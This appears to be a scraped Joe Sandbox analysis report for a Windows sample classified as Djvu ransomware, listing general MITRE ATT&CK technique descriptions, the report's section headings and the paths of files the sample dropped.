Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\Scratch\_readme.txt

C:\$WinREAgent\_readme.txt

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files\7-Zip\Uninstall.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_lgYdZ.exe_203f94d63fff7051f7d6fbe11fe51fb1f192b_f0cf837e_817227ad-743b-46d6-9b6a-d6b4f0227694\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER73D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER903.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER962.tmp.xml

C:\SystemID\PersonalID.txt

Windows Analysis Report
FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre